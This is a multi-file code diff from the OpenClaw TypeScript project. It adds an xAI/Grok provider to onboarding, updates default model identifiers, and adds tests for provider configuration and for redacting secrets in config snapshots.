import { formatTokenK } from "./models/shared.js";
import { OPENAI_CODEX_DEFAULT_MODEL } from "./openai-codex-model-default.js";
const KEEP_VALUE = "__keep__";
const MANUAL_VALUE = "__manual__";
@@ -331,7 +332,7 @@ export async function promptModelAllowlist(params: {
params.message ??
"Allowlist models (comma-separated provider/model; blank to keep current)",
initialValue: existingKeys.join(", "),
placeholder: "openai-codex/gpt-5.2, anthropic/claude-opus-4-5",
placeholder: `${OPENAI_CODEX_DEFAULT_MODEL}, anthropic/claude-opus-4-6`,
});
const parsed = String(raw ?? "")
.split(",")
+69
View File
@@ -27,17 +27,21 @@ import {
VERCEL_AI_GATEWAY_DEFAULT_MODEL_REF,
XIAOMI_DEFAULT_MODEL_REF,
ZAI_DEFAULT_MODEL_REF,
XAI_DEFAULT_MODEL_REF,
} from "./onboard-auth.credentials.js";
import {
buildMoonshotModelDefinition,
QIANFAN_BASE_URL,
QIANFAN_DEFAULT_MODEL_REF,
QIANFAN_DEFAULT_MODEL_ID,
buildXaiModelDefinition,
KIMI_CODING_MODEL_REF,
MOONSHOT_BASE_URL,
MOONSHOT_CN_BASE_URL,
MOONSHOT_DEFAULT_MODEL_ID,
MOONSHOT_DEFAULT_MODEL_REF,
XAI_BASE_URL,
XAI_DEFAULT_MODEL_ID,
} from "./onboard-auth.models.js";
export function applyZaiConfig(cfg: OpenClawConfig): OpenClawConfig {
@@ -596,6 +600,71 @@ export function applyVeniceConfig(cfg: OpenClawConfig): OpenClawConfig {
};
}
export function applyXaiProviderConfig(cfg: OpenClawConfig): OpenClawConfig {
const models = { ...cfg.agents?.defaults?.models };
models[XAI_DEFAULT_MODEL_REF] = {
...models[XAI_DEFAULT_MODEL_REF],
alias: models[XAI_DEFAULT_MODEL_REF]?.alias ?? "Grok",
};
const providers = { ...cfg.models?.providers };
const existingProvider = providers.xai;
const existingModels = Array.isArray(existingProvider?.models) ? existingProvider.models : [];
const defaultModel = buildXaiModelDefinition();
const hasDefaultModel = existingModels.some((model) => model.id === XAI_DEFAULT_MODEL_ID);
const mergedModels = hasDefaultModel ? existingModels : [...existingModels, defaultModel];
const { apiKey: existingApiKey, ...existingProviderRest } = (existingProvider ?? {}) as Record<
string,
unknown
> as { apiKey?: string };
const resolvedApiKey = typeof existingApiKey === "string" ? existingApiKey : undefined;
const normalizedApiKey = resolvedApiKey?.trim();
providers.xai = {
...existingProviderRest,
baseUrl: XAI_BASE_URL,
api: "openai-completions",
...(normalizedApiKey ? { apiKey: normalizedApiKey } : {}),
models: mergedModels.length > 0 ? mergedModels : [defaultModel],
};
return {
...cfg,
agents: {
...cfg.agents,
defaults: {
...cfg.agents?.defaults,
models,
},
},
models: {
mode: cfg.models?.mode ?? "merge",
providers,
},
};
}
export function applyXaiConfig(cfg: OpenClawConfig): OpenClawConfig {
const next = applyXaiProviderConfig(cfg);
const existingModel = next.agents?.defaults?.model;
return {
...next,
agents: {
...next.agents,
defaults: {
...next.agents?.defaults,
model: {
...(existingModel && "fallbacks" in (existingModel as Record<string, unknown>)
? {
fallbacks: (existingModel as { fallbacks?: string[] }).fallbacks,
}
: undefined),
primary: XAI_DEFAULT_MODEL_REF,
},
},
},
};
}
export function applyAuthProfileConfig(
cfg: OpenClawConfig,
params: {
+3 -3
View File
@@ -14,9 +14,9 @@ import {
export function applyMinimaxProviderConfig(cfg: OpenClawConfig): OpenClawConfig {
const models = { ...cfg.agents?.defaults?.models };
models["anthropic/claude-opus-4-5"] = {
...models["anthropic/claude-opus-4-5"],
alias: models["anthropic/claude-opus-4-5"]?.alias ?? "Opus",
models["anthropic/claude-opus-4-6"] = {
...models["anthropic/claude-opus-4-6"],
alias: models["anthropic/claude-opus-4-6"]?.alias ?? "Opus",
};
models["lmstudio/minimax-m2.1-gs32"] = {
...models["lmstudio/minimax-m2.1-gs32"],
+13 -1
View File
@@ -2,6 +2,7 @@ import type { OAuthCredentials } from "@mariozechner/pi-ai";
import { resolveOpenClawAgentDir } from "../agents/agent-paths.js";
import { upsertAuthProfile } from "../agents/auth-profiles.js";
export { CLOUDFLARE_AI_GATEWAY_DEFAULT_MODEL_REF } from "../agents/cloudflare-ai-gateway.js";
export { XAI_DEFAULT_MODEL_REF } from "./onboard-auth.models.js";
const resolveAuthAgentDir = (agentDir?: string) => agentDir ?? resolveOpenClawAgentDir();
@@ -117,7 +118,7 @@ export async function setVeniceApiKey(key: string, agentDir?: string) {
export const ZAI_DEFAULT_MODEL_REF = "zai/glm-4.7";
export const XIAOMI_DEFAULT_MODEL_REF = "xiaomi/mimo-v2-flash";
export const OPENROUTER_DEFAULT_MODEL_REF = "openrouter/auto";
export const VERCEL_AI_GATEWAY_DEFAULT_MODEL_REF = "vercel-ai-gateway/anthropic/claude-opus-4.5";
export const VERCEL_AI_GATEWAY_DEFAULT_MODEL_REF = "vercel-ai-gateway/anthropic/claude-opus-4.6";
export async function setZaiApiKey(key: string, agentDir?: string) {
// Write to resolved agent dir so gateway finds credentials on startup.
@@ -211,6 +212,17 @@ export function setQianfanApiKey(key: string, agentDir?: string) {
type: "api_key",
provider: "qianfan",
key,
},
agentDir: resolveAuthAgentDir(agentDir),
});
}
export function setXaiApiKey(key: string, agentDir?: string) {
upsertAuthProfile({
profileId: "xai:default",
credential: {
type: "api_key",
provider: "xai",
key,
},
agentDir: resolveAuthAgentDir(agentDir),
});
+23
View File
@@ -116,3 +116,26 @@ export function buildQianfanModelDefinition(): ModelDefinitionConfig {
maxTokens: QIANFAN_DEFAULT_MAX_TOKENS,
};
}
export const XAI_BASE_URL = "https://api.x.ai/v1";
export const XAI_DEFAULT_MODEL_ID = "grok-4";
export const XAI_DEFAULT_MODEL_REF = `xai/${XAI_DEFAULT_MODEL_ID}`;
export const XAI_DEFAULT_CONTEXT_WINDOW = 131072;
export const XAI_DEFAULT_MAX_TOKENS = 8192;
export const XAI_DEFAULT_COST = {
input: 0,
output: 0,
cacheRead: 0,
cacheWrite: 0,
};
export function buildXaiModelDefinition(): ModelDefinitionConfig {
return {
id: XAI_DEFAULT_MODEL_ID,
name: "Grok 4",
reasoning: false,
input: ["text"],
cost: XAI_DEFAULT_COST,
contextWindow: XAI_DEFAULT_CONTEXT_WINDOW,
maxTokens: XAI_DEFAULT_MAX_TOKENS,
};
}
+66 -4
View File
@@ -13,11 +13,14 @@ import {
applyOpenrouterProviderConfig,
applySyntheticConfig,
applySyntheticProviderConfig,
applyXaiConfig,
applyXaiProviderConfig,
applyXiaomiConfig,
applyXiaomiProviderConfig,
OPENROUTER_DEFAULT_MODEL_REF,
SYNTHETIC_DEFAULT_MODEL_ID,
SYNTHETIC_DEFAULT_MODEL_REF,
XAI_DEFAULT_MODEL_REF,
setMinimaxApiKey,
writeOAuthCredentials,
} from "./onboard-auth.js";
@@ -389,11 +392,70 @@ describe("applyXiaomiConfig", () => {
});
});
describe("applyXaiConfig", () => {
it("adds xAI provider with correct settings", () => {
const cfg = applyXaiConfig({});
expect(cfg.models?.providers?.xai).toMatchObject({
baseUrl: "https://api.x.ai/v1",
api: "openai-completions",
});
expect(cfg.agents?.defaults?.model?.primary).toBe(XAI_DEFAULT_MODEL_REF);
});
it("preserves existing model fallbacks", () => {
const cfg = applyXaiConfig({
agents: {
defaults: {
model: { fallbacks: ["anthropic/claude-opus-4-5"] },
},
},
});
expect(cfg.agents?.defaults?.model?.fallbacks).toEqual(["anthropic/claude-opus-4-5"]);
});
});
describe("applyXaiProviderConfig", () => {
it("adds model alias", () => {
const cfg = applyXaiProviderConfig({});
expect(cfg.agents?.defaults?.models?.[XAI_DEFAULT_MODEL_REF]?.alias).toBe("Grok");
});
it("merges xAI models and keeps existing provider overrides", () => {
const cfg = applyXaiProviderConfig({
models: {
providers: {
xai: {
baseUrl: "https://old.example.com",
apiKey: "old-key",
api: "anthropic-messages",
models: [
{
id: "custom-model",
name: "Custom",
reasoning: false,
input: ["text"],
cost: { input: 1, output: 2, cacheRead: 0, cacheWrite: 0 },
contextWindow: 1000,
maxTokens: 100,
},
],
},
},
},
});
expect(cfg.models?.providers?.xai?.baseUrl).toBe("https://api.x.ai/v1");
expect(cfg.models?.providers?.xai?.api).toBe("openai-completions");
expect(cfg.models?.providers?.xai?.apiKey).toBe("old-key");
expect(cfg.models?.providers?.xai?.models.map((m) => m.id)).toEqual(["custom-model", "grok-4"]);
});
});
describe("applyOpencodeZenProviderConfig", () => {
it("adds allowlist entry for the default model", () => {
const cfg = applyOpencodeZenProviderConfig({});
const models = cfg.agents?.defaults?.models ?? {};
expect(Object.keys(models)).toContain("opencode/claude-opus-4-5");
expect(Object.keys(models)).toContain("opencode/claude-opus-4-6");
});
it("preserves existing alias for the default model", () => {
@@ -401,19 +463,19 @@ describe("applyOpencodeZenProviderConfig", () => {
agents: {
defaults: {
models: {
"opencode/claude-opus-4-5": { alias: "My Opus" },
"opencode/claude-opus-4-6": { alias: "My Opus" },
},
},
},
});
expect(cfg.agents?.defaults?.models?.["opencode/claude-opus-4-5"]?.alias).toBe("My Opus");
expect(cfg.agents?.defaults?.models?.["opencode/claude-opus-4-6"]?.alias).toBe("My Opus");
});
});
describe("applyOpencodeZenConfig", () => {
it("sets correct primary model", () => {
const cfg = applyOpencodeZenConfig({});
expect(cfg.agents?.defaults?.model?.primary).toBe("opencode/claude-opus-4-5");
expect(cfg.agents?.defaults?.model?.primary).toBe("opencode/claude-opus-4-6");
});
it("preserves existing model fallbacks", () => {
+4
View File
@@ -26,6 +26,8 @@ export {
applyXiaomiConfig,
applyXiaomiProviderConfig,
applyZaiConfig,
applyXaiConfig,
applyXaiProviderConfig,
} from "./onboard-auth.config-core.js";
export {
applyMinimaxApiConfig,
@@ -57,10 +59,12 @@ export {
setVercelAiGatewayApiKey,
setXiaomiApiKey,
setZaiApiKey,
setXaiApiKey,
writeOAuthCredentials,
VERCEL_AI_GATEWAY_DEFAULT_MODEL_REF,
XIAOMI_DEFAULT_MODEL_REF,
ZAI_DEFAULT_MODEL_REF,
XAI_DEFAULT_MODEL_REF,
} from "./onboard-auth.credentials.js";
export {
buildQianfanModelDefinition,
+1 -8
View File
@@ -179,23 +179,16 @@ export async function detectBrowserOpenSupport(): Promise<BrowserOpenSupport> {
return { ok: true, command: resolved.command };
}
export function formatControlUiSshHint(params: {
port: number;
basePath?: string;
token?: string;
}): string {
export function formatControlUiSshHint(params: { port: number; basePath?: string }): string {
const basePath = normalizeControlUiBasePath(params.basePath);
const uiPath = basePath ? `${basePath}/` : "/";
const localUrl = `http://localhost:${params.port}${uiPath}`;
const tokenParam = params.token ? `?token=${encodeURIComponent(params.token)}` : "";
const authedUrl = params.token ? `${localUrl}${tokenParam}` : undefined;
const sshTarget = resolveSshTargetHint();
return [
"No GUI detected. Open from your computer:",
`ssh -N -L ${params.port}:127.0.0.1:${params.port} ${sshTarget}`,
"Then open:",
localUrl,
authedUrl,
"Docs:",
"https://docs.openclaw.ai/gateway/remote",
"https://docs.openclaw.ai/web/control-ui",
@@ -66,7 +66,7 @@ describe("onboard (non-interactive): Vercel AI Gateway", () => {
expect(cfg.auth?.profiles?.["vercel-ai-gateway:default"]?.provider).toBe("vercel-ai-gateway");
expect(cfg.auth?.profiles?.["vercel-ai-gateway:default"]?.mode).toBe("api_key");
expect(cfg.agents?.defaults?.model?.primary).toBe(
"vercel-ai-gateway/anthropic/claude-opus-4.5",
"vercel-ai-gateway/anthropic/claude-opus-4.6",
);
const { ensureAuthProfileStore } = await import("../agents/auth-profiles.js");
@@ -0,0 +1,77 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { describe, expect, it, vi } from "vitest";
import { OPENAI_DEFAULT_MODEL } from "./openai-model-default.js";
describe("onboard (non-interactive): OpenAI API key", () => {
it("stores OPENAI_API_KEY and configures the OpenAI default model", async () => {
const prev = {
home: process.env.HOME,
stateDir: process.env.OPENCLAW_STATE_DIR,
configPath: process.env.OPENCLAW_CONFIG_PATH,
skipChannels: process.env.OPENCLAW_SKIP_CHANNELS,
skipGmail: process.env.OPENCLAW_SKIP_GMAIL_WATCHER,
skipCron: process.env.OPENCLAW_SKIP_CRON,
skipCanvas: process.env.OPENCLAW_SKIP_CANVAS_HOST,
token: process.env.OPENCLAW_GATEWAY_TOKEN,
password: process.env.OPENCLAW_GATEWAY_PASSWORD,
};
process.env.OPENCLAW_SKIP_CHANNELS = "1";
process.env.OPENCLAW_SKIP_GMAIL_WATCHER = "1";
process.env.OPENCLAW_SKIP_CRON = "1";
process.env.OPENCLAW_SKIP_CANVAS_HOST = "1";
delete process.env.OPENCLAW_GATEWAY_TOKEN;
delete process.env.OPENCLAW_GATEWAY_PASSWORD;
const tempHome = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-onboard-openai-"));
process.env.HOME = tempHome;
process.env.OPENCLAW_STATE_DIR = tempHome;
process.env.OPENCLAW_CONFIG_PATH = path.join(tempHome, "openclaw.json");
vi.resetModules();
const runtime = {
log: () => {},
error: (msg: string) => {
throw new Error(msg);
},
exit: (code: number) => {
throw new Error(`exit:${code}`);
},
};
try {
const { runNonInteractiveOnboarding } = await import("./onboard-non-interactive.js");
await runNonInteractiveOnboarding(
{
nonInteractive: true,
authChoice: "openai-api-key",
openaiApiKey: "sk-openai-test",
skipHealth: true,
skipChannels: true,
skipSkills: true,
json: true,
},
runtime,
);
const { CONFIG_PATH } = await import("../config/config.js");
const cfg = JSON.parse(await fs.readFile(CONFIG_PATH, "utf8")) as {
agents?: { defaults?: { model?: { primary?: string } } };
};
expect(cfg.agents?.defaults?.model?.primary).toBe(OPENAI_DEFAULT_MODEL);
} finally {
await fs.rm(tempHome, { recursive: true, force: true });
process.env.HOME = prev.home;
process.env.OPENCLAW_STATE_DIR = prev.stateDir;
process.env.OPENCLAW_CONFIG_PATH = prev.configPath;
process.env.OPENCLAW_SKIP_CHANNELS = prev.skipChannels;
process.env.OPENCLAW_SKIP_GMAIL_WATCHER = prev.skipGmail;
process.env.OPENCLAW_SKIP_CRON = prev.skipCron;
process.env.OPENCLAW_SKIP_CANVAS_HOST = prev.skipCanvas;
process.env.OPENCLAW_GATEWAY_TOKEN = prev.token;
process.env.OPENCLAW_GATEWAY_PASSWORD = prev.password;
}
}, 60_000);
});
@@ -0,0 +1,91 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { describe, expect, it, vi } from "vitest";
describe("onboard (non-interactive): xAI", () => {
it("stores the API key and configures the default model", async () => {
const prev = {
home: process.env.HOME,
stateDir: process.env.OPENCLAW_STATE_DIR,
configPath: process.env.OPENCLAW_CONFIG_PATH,
skipChannels: process.env.OPENCLAW_SKIP_CHANNELS,
skipGmail: process.env.OPENCLAW_SKIP_GMAIL_WATCHER,
skipCron: process.env.OPENCLAW_SKIP_CRON,
skipCanvas: process.env.OPENCLAW_SKIP_CANVAS_HOST,
token: process.env.OPENCLAW_GATEWAY_TOKEN,
password: process.env.OPENCLAW_GATEWAY_PASSWORD,
};
process.env.OPENCLAW_SKIP_CHANNELS = "1";
process.env.OPENCLAW_SKIP_GMAIL_WATCHER = "1";
process.env.OPENCLAW_SKIP_CRON = "1";
process.env.OPENCLAW_SKIP_CANVAS_HOST = "1";
delete process.env.OPENCLAW_GATEWAY_TOKEN;
delete process.env.OPENCLAW_GATEWAY_PASSWORD;
const tempHome = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-onboard-xai-"));
process.env.HOME = tempHome;
process.env.OPENCLAW_STATE_DIR = tempHome;
process.env.OPENCLAW_CONFIG_PATH = path.join(tempHome, "openclaw.json");
vi.resetModules();
const runtime = {
log: () => {},
error: (msg: string) => {
throw new Error(msg);
},
exit: (code: number) => {
throw new Error(`exit:${code}`);
},
};
try {
const { runNonInteractiveOnboarding } = await import("./onboard-non-interactive.js");
await runNonInteractiveOnboarding(
{
nonInteractive: true,
authChoice: "xai-api-key",
xaiApiKey: "xai-test-key",
skipHealth: true,
skipChannels: true,
skipSkills: true,
json: true,
},
runtime,
);
const { CONFIG_PATH } = await import("../config/config.js");
const cfg = JSON.parse(await fs.readFile(CONFIG_PATH, "utf8")) as {
auth?: {
profiles?: Record<string, { provider?: string; mode?: string }>;
};
agents?: { defaults?: { model?: { primary?: string } } };
};
expect(cfg.auth?.profiles?.["xai:default"]?.provider).toBe("xai");
expect(cfg.auth?.profiles?.["xai:default"]?.mode).toBe("api_key");
expect(cfg.agents?.defaults?.model?.primary).toBe("xai/grok-4");
const { ensureAuthProfileStore } = await import("../agents/auth-profiles.js");
const store = ensureAuthProfileStore();
const profile = store.profiles["xai:default"];
expect(profile?.type).toBe("api_key");
if (profile?.type === "api_key") {
expect(profile.provider).toBe("xai");
expect(profile.key).toBe("xai-test-key");
}
} finally {
await fs.rm(tempHome, { recursive: true, force: true });
process.env.HOME = prev.home;
process.env.OPENCLAW_STATE_DIR = prev.stateDir;
process.env.OPENCLAW_CONFIG_PATH = prev.configPath;
process.env.OPENCLAW_SKIP_CHANNELS = prev.skipChannels;
process.env.OPENCLAW_SKIP_GMAIL_WATCHER = prev.skipGmail;
process.env.OPENCLAW_SKIP_CRON = prev.skipCron;
process.env.OPENCLAW_SKIP_CANVAS_HOST = prev.skipCanvas;
process.env.OPENCLAW_GATEWAY_TOKEN = prev.token;
process.env.OPENCLAW_GATEWAY_PASSWORD = prev.password;
}
}, 60_000);
});
@@ -22,6 +22,7 @@ type AuthChoiceFlagOptions = Pick<
| "xiaomiApiKey"
| "minimaxApiKey"
| "opencodeZenApiKey"
| "xaiApiKey"
>;
const AUTH_CHOICE_FLAG_MAP = [
@@ -41,6 +42,7 @@ const AUTH_CHOICE_FLAG_MAP = [
{ flag: "veniceApiKey", authChoice: "venice-api-key", label: "--venice-api-key" },
{ flag: "zaiApiKey", authChoice: "zai-api-key", label: "--zai-api-key" },
{ flag: "xiaomiApiKey", authChoice: "xiaomi-api-key", label: "--xiaomi-api-key" },
{ flag: "xaiApiKey", authChoice: "xai-api-key", label: "--xai-api-key" },
{ flag: "minimaxApiKey", authChoice: "minimax-api", label: "--minimax-api-key" },
{ flag: "opencodeZenApiKey", authChoice: "opencode-zen", label: "--opencode-zen-api-key" },
] satisfies ReadonlyArray<AuthChoiceFlag>;
@@ -22,6 +22,7 @@ import {
applySyntheticConfig,
applyVeniceConfig,
applyVercelAiGatewayConfig,
applyXaiConfig,
applyXiaomiConfig,
applyZaiConfig,
setAnthropicApiKey,
@@ -34,11 +35,13 @@ import {
setOpencodeZenApiKey,
setOpenrouterApiKey,
setSyntheticApiKey,
setXaiApiKey,
setVeniceApiKey,
setVercelAiGatewayApiKey,
setXiaomiApiKey,
setZaiApiKey,
} from "../../onboard-auth.js";
import { applyOpenAIConfig } from "../../openai-model-default.js";
import { resolveNonInteractiveApiKey } from "../api-keys.js";
export async function applyNonInteractiveAuthChoice(params: {
@@ -226,6 +229,13 @@ export async function applyNonInteractiveAuthChoice(params: {
flagValue: opts.qianfanApiKey,
flagName: "--qianfan-api-key",
envVar: "QIANFAN_API_KEY",
if (authChoice === "xai-api-key") {
const resolved = await resolveNonInteractiveApiKey({
provider: "xai",
cfg: baseConfig,
flagValue: opts.xaiApiKey,
flagName: "--xai-api-key",
envVar: "XAI_API_KEY",
runtime,
});
if (!resolved) {
@@ -240,6 +250,14 @@ export async function applyNonInteractiveAuthChoice(params: {
mode: "api_key",
});
return applyQianfanConfig(nextConfig);
setXaiApiKey(resolved.key);
}
nextConfig = applyAuthProfileConfig(nextConfig, {
profileId: "xai:default",
provider: "xai",
mode: "api_key",
});
return applyXaiConfig(nextConfig);
}
if (authChoice === "openai-api-key") {
@@ -259,7 +277,7 @@ export async function applyNonInteractiveAuthChoice(params: {
const result = upsertSharedEnvVar({ key: "OPENAI_API_KEY", value: key });
process.env.OPENAI_API_KEY = key;
runtime.log(`Saved OPENAI_API_KEY to ${shortenHomePath(result.path)}`);
return nextConfig;
return applyOpenAIConfig(nextConfig);
}
if (authChoice === "openrouter-api-key") {
+20 -13
View File
@@ -155,22 +155,29 @@ export async function setupSkills(
installId,
config: next,
});
const warnings = result.warnings ?? [];
if (result.ok) {
spin.stop(`Installed ${name}`);
} else {
const code = result.code == null ? "" : ` (exit ${result.code})`;
const detail = summarizeInstallFailure(result.message);
spin.stop(`Install failed: ${name}${code}${detail ? `${detail}` : ""}`);
if (result.stderr) {
runtime.log(result.stderr.trim());
} else if (result.stdout) {
runtime.log(result.stdout.trim());
spin.stop(warnings.length > 0 ? `Installed ${name} (with warnings)` : `Installed ${name}`);
for (const warning of warnings) {
runtime.log(warning);
}
runtime.log(
`Tip: run \`${formatCliCommand("openclaw doctor")}\` to review skills + requirements.`,
);
runtime.log("Docs: https://docs.openclaw.ai/skills");
continue;
}
const code = result.code == null ? "" : ` (exit ${result.code})`;
const detail = summarizeInstallFailure(result.message);
spin.stop(`Install failed: ${name}${code}${detail ? `${detail}` : ""}`);
for (const warning of warnings) {
runtime.log(warning);
}
if (result.stderr) {
runtime.log(result.stderr.trim());
} else if (result.stdout) {
runtime.log(result.stdout.trim());
}
runtime.log(
`Tip: run \`${formatCliCommand("openclaw doctor")}\` to review skills + requirements.`,
);
runtime.log("Docs: https://docs.openclaw.ai/skills");
}
}
+2
View File
@@ -36,6 +36,7 @@ export type AuthChoice =
| "copilot-proxy"
| "qwen-portal"
| "qianfan-api-key"
| "xai-api-key"
| "skip";
export type GatewayAuthChoice = "token" | "password";
export type ResetScope = "config" | "config+creds+sessions" | "full";
@@ -81,6 +82,7 @@ export type OnboardOptions = {
veniceApiKey?: string;
opencodeZenApiKey?: string;
qianfanApiKey?: string;
xaiApiKey?: string;
gatewayPort?: number;
gatewayBind?: GatewayBind;
gatewayAuth?: GatewayAuthChoice;
@@ -4,6 +4,7 @@ import {
applyOpenAICodexModelDefault,
OPENAI_CODEX_DEFAULT_MODEL,
} from "./openai-codex-model-default.js";
import { OPENAI_DEFAULT_MODEL } from "./openai-model-default.js";
describe("applyOpenAICodexModelDefault", () => {
it("sets openai-codex default when model is unset", () => {
@@ -17,7 +18,7 @@ describe("applyOpenAICodexModelDefault", () => {
it("sets openai-codex default when model is openai/*", () => {
const cfg: OpenClawConfig = {
agents: { defaults: { model: "openai/gpt-5.2" } },
agents: { defaults: { model: OPENAI_DEFAULT_MODEL } },
};
const applied = applyOpenAICodexModelDefault(cfg);
expect(applied.changed).toBe(true);
@@ -28,7 +29,7 @@ describe("applyOpenAICodexModelDefault", () => {
it("does not override openai-codex/*", () => {
const cfg: OpenClawConfig = {
agents: { defaults: { model: "openai-codex/gpt-5.2" } },
agents: { defaults: { model: OPENAI_CODEX_DEFAULT_MODEL } },
};
const applied = applyOpenAICodexModelDefault(cfg);
expect(applied.changed).toBe(false);
+1 -1
View File
@@ -1,7 +1,7 @@
import type { OpenClawConfig } from "../config/config.js";
import type { AgentModelListConfig } from "../config/types.js";
export const OPENAI_CODEX_DEFAULT_MODEL = "openai-codex/gpt-5.2";
export const OPENAI_CODEX_DEFAULT_MODEL = "openai-codex/gpt-5.3-codex";
function shouldSetOpenAICodexModel(model?: string): boolean {
const trimmed = model?.trim();
+40
View File
@@ -0,0 +1,40 @@
import { describe, expect, it } from "vitest";
import {
applyOpenAIConfig,
applyOpenAIProviderConfig,
OPENAI_DEFAULT_MODEL,
} from "./openai-model-default.js";
describe("applyOpenAIProviderConfig", () => {
it("adds allowlist entry for default model", () => {
const next = applyOpenAIProviderConfig({});
expect(Object.keys(next.agents?.defaults?.models ?? {})).toContain(OPENAI_DEFAULT_MODEL);
});
it("preserves existing alias for default model", () => {
const next = applyOpenAIProviderConfig({
agents: {
defaults: {
models: {
[OPENAI_DEFAULT_MODEL]: { alias: "My GPT" },
},
},
},
});
expect(next.agents?.defaults?.models?.[OPENAI_DEFAULT_MODEL]?.alias).toBe("My GPT");
});
});
describe("applyOpenAIConfig", () => {
it("sets default when model is unset", () => {
const next = applyOpenAIConfig({});
expect(next.agents?.defaults?.model).toEqual({ primary: OPENAI_DEFAULT_MODEL });
});
it("overrides model.primary when model object already exists", () => {
const next = applyOpenAIConfig({
agents: { defaults: { model: { primary: "anthropic/claude-opus-4-6", fallback: [] } } },
});
expect(next.agents?.defaults?.model).toEqual({ primary: OPENAI_DEFAULT_MODEL, fallback: [] });
});
});
+47
View File
@@ -0,0 +1,47 @@
import type { OpenClawConfig } from "../config/config.js";
import { ensureModelAllowlistEntry } from "./model-allowlist.js";
export const OPENAI_DEFAULT_MODEL = "openai/gpt-5.1-codex";
export function applyOpenAIProviderConfig(cfg: OpenClawConfig): OpenClawConfig {
const next = ensureModelAllowlistEntry({
cfg,
modelRef: OPENAI_DEFAULT_MODEL,
});
const models = { ...next.agents?.defaults?.models };
models[OPENAI_DEFAULT_MODEL] = {
...models[OPENAI_DEFAULT_MODEL],
alias: models[OPENAI_DEFAULT_MODEL]?.alias ?? "GPT",
};
return {
...next,
agents: {
...next.agents,
defaults: {
...next.agents?.defaults,
models,
},
},
};
}
export function applyOpenAIConfig(cfg: OpenClawConfig): OpenClawConfig {
const next = applyOpenAIProviderConfig(cfg);
return {
...next,
agents: {
...next.agents,
defaults: {
...next.agents?.defaults,
model:
next.agents?.defaults?.model && typeof next.agents.defaults.model === "object"
? {
...next.agents.defaults.model,
primary: OPENAI_DEFAULT_MODEL,
}
: { primary: OPENAI_DEFAULT_MODEL },
},
},
};
}
+8 -3
View File
@@ -1,8 +1,11 @@
import type { OpenClawConfig } from "../config/config.js";
import type { AgentModelListConfig } from "../config/types.js";
export const OPENCODE_ZEN_DEFAULT_MODEL = "opencode/claude-opus-4-5";
const LEGACY_OPENCODE_ZEN_DEFAULT_MODEL = "opencode-zen/claude-opus-4-5";
export const OPENCODE_ZEN_DEFAULT_MODEL = "opencode/claude-opus-4-6";
const LEGACY_OPENCODE_ZEN_DEFAULT_MODELS = new Set([
"opencode/claude-opus-4-5",
"opencode-zen/claude-opus-4-5",
]);
function resolvePrimaryModel(model?: AgentModelListConfig | string): string | undefined {
if (typeof model === "string") {
@@ -20,7 +23,9 @@ export function applyOpencodeZenModelDefault(cfg: OpenClawConfig): {
} {
const current = resolvePrimaryModel(cfg.agents?.defaults?.model)?.trim();
const normalizedCurrent =
current === LEGACY_OPENCODE_ZEN_DEFAULT_MODEL ? OPENCODE_ZEN_DEFAULT_MODEL : current;
current && LEGACY_OPENCODE_ZEN_DEFAULT_MODELS.has(current)
? OPENCODE_ZEN_DEFAULT_MODEL
: current;
if (normalizedCurrent === OPENCODE_ZEN_DEFAULT_MODEL) {
return { next: cfg, changed: false };
}
+1 -1
View File
@@ -13,7 +13,7 @@ type AnthropicAuthDefaultsMode = "api_key" | "oauth";
const DEFAULT_MODEL_ALIASES: Readonly<Record<string, string>> = {
// Anthropic (pi-ai catalog uses "latest" ids without date suffix)
opus: "anthropic/claude-opus-4-5",
opus: "anthropic/claude-opus-4-6",
sonnet: "anthropic/claude-sonnet-4-5",
// OpenAI
+2 -2
View File
@@ -9,7 +9,7 @@ describe("applyModelDefaults", () => {
agents: {
defaults: {
models: {
"anthropic/claude-opus-4-5": {},
"anthropic/claude-opus-4-6": {},
"openai/gpt-5.2": {},
},
},
@@ -17,7 +17,7 @@ describe("applyModelDefaults", () => {
} satisfies OpenClawConfig;
const next = applyModelDefaults(cfg);
expect(next.agents?.defaults?.models?.["anthropic/claude-opus-4-5"]?.alias).toBe("opus");
expect(next.agents?.defaults?.models?.["anthropic/claude-opus-4-6"]?.alias).toBe("opus");
expect(next.agents?.defaults?.models?.["openai/gpt-5.2"]?.alias).toBe("gpt");
});
+335
View File
@@ -0,0 +1,335 @@
import { describe, expect, it } from "vitest";
import type { ConfigFileSnapshot } from "./types.openclaw.js";
import {
REDACTED_SENTINEL,
redactConfigSnapshot,
restoreRedactedValues,
} from "./redact-snapshot.js";
function makeSnapshot(config: Record<string, unknown>, raw?: string): ConfigFileSnapshot {
return {
path: "/home/user/.openclaw/config.json5",
exists: true,
raw: raw ?? JSON.stringify(config),
parsed: config,
valid: true,
config: config as ConfigFileSnapshot["config"],
hash: "abc123",
issues: [],
warnings: [],
legacyIssues: [],
};
}
describe("redactConfigSnapshot", () => {
it("redacts top-level token fields", () => {
const snapshot = makeSnapshot({
gateway: { auth: { token: "my-super-secret-gateway-token-value" } },
});
const result = redactConfigSnapshot(snapshot);
expect(result.config).toEqual({
gateway: { auth: { token: REDACTED_SENTINEL } },
});
});
it("redacts botToken in channel configs", () => {
const snapshot = makeSnapshot({
channels: {
telegram: { botToken: "123456:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef" },
slack: { botToken: "fake-slack-bot-token-placeholder-value" },
},
});
const result = redactConfigSnapshot(snapshot);
const channels = result.config.channels as Record<string, Record<string, string>>;
expect(channels.telegram.botToken).toBe(REDACTED_SENTINEL);
expect(channels.slack.botToken).toBe(REDACTED_SENTINEL);
});
it("redacts apiKey in model providers", () => {
const snapshot = makeSnapshot({
models: {
providers: {
openai: { apiKey: "sk-proj-abcdef1234567890ghij", baseUrl: "https://api.openai.com" },
},
},
});
const result = redactConfigSnapshot(snapshot);
const models = result.config.models as Record<string, Record<string, Record<string, string>>>;
expect(models.providers.openai.apiKey).toBe(REDACTED_SENTINEL);
expect(models.providers.openai.baseUrl).toBe("https://api.openai.com");
});
it("redacts password fields", () => {
const snapshot = makeSnapshot({
gateway: { auth: { password: "super-secret-password-value-here" } },
});
const result = redactConfigSnapshot(snapshot);
const gw = result.config.gateway as Record<string, Record<string, string>>;
expect(gw.auth.password).toBe(REDACTED_SENTINEL);
});
it("redacts appSecret fields", () => {
const snapshot = makeSnapshot({
channels: {
feishu: { appSecret: "feishu-app-secret-value-here-1234" },
},
});
const result = redactConfigSnapshot(snapshot);
const channels = result.config.channels as Record<string, Record<string, string>>;
